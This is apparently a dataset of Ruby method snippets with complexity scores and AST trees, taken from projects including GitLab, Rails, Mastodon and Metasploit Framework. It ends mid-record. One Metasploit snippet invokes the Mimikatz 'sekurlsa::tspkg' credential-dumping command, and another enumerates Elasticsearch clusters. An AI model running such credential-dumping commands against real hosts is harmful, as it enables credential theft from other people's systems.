{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/status.rb","start_line":250,"raw_source":"def reset_preview_card!\n    PreviewCardsStatus.where(status_id: id).delete_all\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_preview_card!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PreviewCardsStatus\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},\"delete_all\"]}]}","id":"f5915d1d-e7ef-4f29-9b3b-560c9c4e37e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests/application_controller.rb","start_line":78,"raw_source":"def set_pipeline_variables\n    @pipeline_display_limit = PIPELINE_DISPLAY_LIMIT\n    @pipelines = Ci::PipelinesForMergeRequestFinder\n      .new(@merge_request, current_user)\n      .execute\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_pipeline_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pipeline_display_limit\",{\"type\":\"const\",\"children\":[null,\"PIPELINE_DISPLAY_LIMIT\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pipelines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"PipelinesForMergeRequestFinder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\"]}]}]}]}","id":"a98be2c3-c0b4-4cd7-80fc-6a9111565a52"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/options.rb","start_line":442,"raw_source":"def validate_autocorrect\n      if @options.key?(:safe_autocorrect) && @options.key?(:autocorrect_all)\n        message = Rainbow(<<~MESSAGE).red\n          Error: Both safe and unsafe autocorrect options are specified, use only one.\n        MESSAGE\n        raise OptionArgumentError, message\n      end\n      return if @options.key?(:autocorrect)\n      return unless @options.key?(:disable_uncorrectable)\n\n      raise OptionArgumentError,\n            '--disable-uncorrectable can only be used together with --autocorrect.'\n    end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_autocorrect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"safe_autocorrect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"autocorrect_all\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"str\",\"children\":[\"Error: Both safe and unsafe autocorrect options are specified, use only one.\\n\"]}]},\"red\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OptionArgumentError\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"autocorrect\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"disable_uncorrectable\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OptionArgumentError\"]},{\"type\":\"str\",\"children\":[\"--disable-uncorrectable can only be used together with --autocorrect.\"]}]}]}]}","id":"96b6134e-065a-4c64-84d7-216d121f6f14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/registry/tags_controller_spec.rb","start_line":192,"raw_source":"def expect_delete_tags(tags, status = :success)\n    expect(service).to receive(:execute).with(repository) { { status: status } }\n    expect(Projects::ContainerRepository::DeleteTagsService).to receive(:new).with(repository.project, user, tags: tags) { service }\n  end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_delete_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]},{\"type\":\"optarg\",\"children\":[\"status\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"service\"]}]},\"to\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"execute\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"repository\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"ContainerRepository\"]},\"DeleteTagsService\"]}]},\"to\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"service\"]}]}]}]}]}","id":"64d2e1ce-5859-4c6c-84fa-34f538cde0e1"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/test_case_test.rb","start_line":261,"raw_source":"def test_assert_changes_with_wrong_to_option\n    assert_raises Minitest::Assertion do\n      assert_changes \"@object.num\", to: 2 do\n        @object.increment\n      end\n    end\n  end","complexity_score":5.73,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_changes_with_wrong_to_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_changes\",{\"type\":\"str\",\"children\":[\"@object.num\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"increment\"]}]}]}]}","id":"ecaf2d13-38df-4adf-a005-7fe28a9ece56"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/path_helper.rb","start_line":84,"raw_source":"def self.resources(name,\n                             except: [],\n                             only: %i[index show create_form update_form schema])\n            (Array(only) - Array(except)).each do |method|\n              send(method, name)\n            end\n          end","complexity_score":9.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"resources\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"except\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"only\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"create_form\"]},{\"type\":\"sym\",\"children\":[\"update_form\"]},{\"type\":\"sym\",\"children\":[\"schema\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"only\"]}]},\"-\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"except\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"d380b485-4b01-445a-83cb-7d7fc1904b9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1722,"raw_source":"def matches_identity?(provider, extern_uid)\n    identities.with_extern_uid(provider, extern_uid).exists?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"matches_identity?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]},{\"type\":\"arg\",\"children\":[\"extern_uid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identities\"]},\"with_extern_uid\",{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"extern_uid\"]}]},\"exists?\"]}]}","id":"c41507d9-459f-457e-9741-d94a228f55ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/spec/command_helper.rb","start_line":20,"raw_source":"def expect_command_to_include_attributes(command, attributes)\n    expect(described_class.commands[command].to_h).to include(attributes)\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_command_to_include_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"commands\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},\"to_h\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}","id":"ce79b513-2e50-46bd-8904-5ed5b0efc104"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rhosts_walker.rb","start_line":89,"raw_source":"def errors(&block)\n      return unless @value\n      return unless block_given?\n\n      parse(@value, @datastore).each do |result|\n        block.call(result) if result.is_a?(Msf::RhostsWalker::Error)\n      end\n\n      nil\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"errors\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse\",{\"type\":\"ivar\",\"children\":[\"@value\"]},{\"type\":\"ivar\",\"children\":[\"@datastore\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"RhostsWalker\"]},\"Error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"39e735fc-391a-424d-9283-266893aa8637"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/slack_options/user_search_handler.rb","start_line":14,"raw_source":"def execute\n        return ServiceResponse.success(payload: []) unless current_user.can?(:read_project_member, project)\n\n        members = MembersFinder.new(project, current_user, params: { search: search_value }).execute\n\n        ServiceResponse.success(payload: build_user_list(members))\n      end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"read_project_member\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MembersFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"send\",\"children\":[null,\"search_value\"]}]}]}]}]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"build_user_list\",{\"type\":\"lvar\",\"children\":[\"members\"]}]}]}]}]}]}]}","id":"5780d507-7bcf-469b-9a46-1997cb816787"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/packet.rb","start_line":125,"raw_source":"def reset_except_queue\n    self.state = ParseState::ProcessingHeader\n    self.transfer_chunked = false\n    self.inside_chunk     = false\n    self.headers.reset\n    self.body  = ''\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_except_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"state=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParseState\"]},\"ProcessingHeader\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"transfer_chunked=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inside_chunk=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"reset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"body=\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"61df2b1d-f4fe-46b6-9810-491678c60f71"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb","start_line":159,"raw_source":"def creds_tspkg\n    { tspkg: parse_tspkg(exec_cmd('sekurlsa::tspkg')) }\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"creds_tspkg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tspkg\"]},{\"type\":\"send\",\"children\":[null,\"parse_tspkg\",{\"type\":\"send\",\"children\":[null,\"exec_cmd\",{\"type\":\"str\",\"children\":[\"sekurlsa::tspkg\"]}]}]}]}]}]}","id":"808a9f16-5454-4b95-8815-71878489ff6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pages/url_builder.rb","start_line":23,"raw_source":"def unique_host\n        return unless unique_domain_enabled?\n        return if namespace_in_path?\n\n        hostname\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unique_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unique_domain_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_in_path?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"hostname\"]}]}]}","id":"b95aeed3-d17b-4dd5-ab05-e5eb6f7598ed"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_list_item_serializer.rb","start_line":109,"raw_source":"def include_post_action?(action)\n    object.user_data && object.user_data.post_action_data &&\n      object.user_data.post_action_data.key?(PostActionType.types[action])\n  end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"include_post_action?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_data\"]},\"post_action_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_data\"]},\"post_action_data\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionType\"]},\"types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]}","id":"7825b1a2-b166-4f82-9b1e-85e9f76f9363"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/proxy/socks4a.rb","start_line":131,"raw_source":"def resolve( hostname )\n        if( not hostname.empty? )\n          begin\n            return Rex::Socket.getaddress(hostname, false)\n          rescue ::SocketError\n            return nil\n          end\n        end\n        return nil\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hostname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"getaddress\",{\"type\":\"lvar\",\"children\":[\"hostname\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SocketError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"632d65c6-a588-4b58-b1be-2ebec3fad87d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/convert_to_ticket_service.rb","start_line":13,"raw_source":"def execute\n      return error_service_desk_disabled unless ::ServiceDesk.enabled?(project)\n      return error_underprivileged unless current_user.can?(:\"admin_#{target.to_ability_name}\", target)\n      return error_already_ticket if ticket?\n      return error_invalid_email unless valid_email?\n\n      update_target\n      add_note\n\n      ServiceResponse.success(message: success_message)\n    end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ServiceDesk\"]},\"enabled?\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_service_desk_disabled\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"admin_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"to_ability_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"target\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_underprivileged\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ticket?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_already_ticket\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_email?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_invalid_email\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_target\"]},{\"type\":\"send\",\"children\":[null,\"add_note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"success_message\"]}]}]}]}]}]}","id":"e77299ad-120d-442d-a6f0-ca501352f807"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/progress_controller.rb","start_line":139,"raw_source":"def modal_class\n    if WorkPackage.status_based_mode?\n      WorkPackages::Progress::StatusBased::ModalBodyComponent\n    else\n      WorkPackages::Progress::WorkBased::ModalBodyComponent\n    end\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"modal_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"status_based_mode?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"Progress\"]},\"StatusBased\"]},\"ModalBodyComponent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"Progress\"]},\"WorkBased\"]},\"ModalBodyComponent\"]}]}]}","id":"3dc7bc97-89b3-429d-a6a3-ed43cbc6f2f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/supply_chain/artifacts_reader.rb","start_line":47,"raw_source":"def artifacts_in_metadata\n      files = []\n      @metadata.entries.each do |path, metadata|\n        next if path.end_with?(\"/\")\n\n        validate_artifact!(path, metadata)\n        files << path\n      end\n\n      files\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"artifacts_in_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"entries\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"metadata\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"validate_artifact!\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"files\"]}]}]}","id":"792cb582-999a-4c49-aa79-8dd777f9df59"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/elasticsearch_enum.rb","start_line":169,"raw_source":"def get_cluster_info\n    vprint_status('Querying cluster information...')\n    request = {\n      'uri' => normalize_uri(target_uri.path, '_cluster', 'health'),\n      'method' => 'GET'\n    }\n    request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'] || datastore['PASSWORD']\n\n    res = send_request_cgi(request)\n\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::NoAccess, 'Credentials required, or incorrect') if res.code == 401\n\n    if res.code == 200 && !res.body.empty?\n      json_body = res.get_json_document\n      if json_body.empty?\n        vprint_error('Unable to parse JSON')\n        return\n      end\n    end\n\n    elastic_table = Rex::Text::Table.new(\n      'Header' => 'Cluster Information',\n      'Indent' => 2,\n      'Columns' =>\n      [\n        'Cluster Name',\n        'Status',\n        'Number of Nodes'\n      ]\n    )\n\n    elastic_table << [\n      json_body['cluster_name'],\n      json_body['status'],\n      json_body['number_of_nodes']\n    ]\n    print_good(elastic_table.to_s)\n  end","complexity_score":55.13,"ast_json":"{\"type\":\"def\",\"children\":[\"get_cluster_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Querying cluster information...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"_cluster\"]},{\"type\":\"str\",\"children\":[\"health\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Credentials required, or 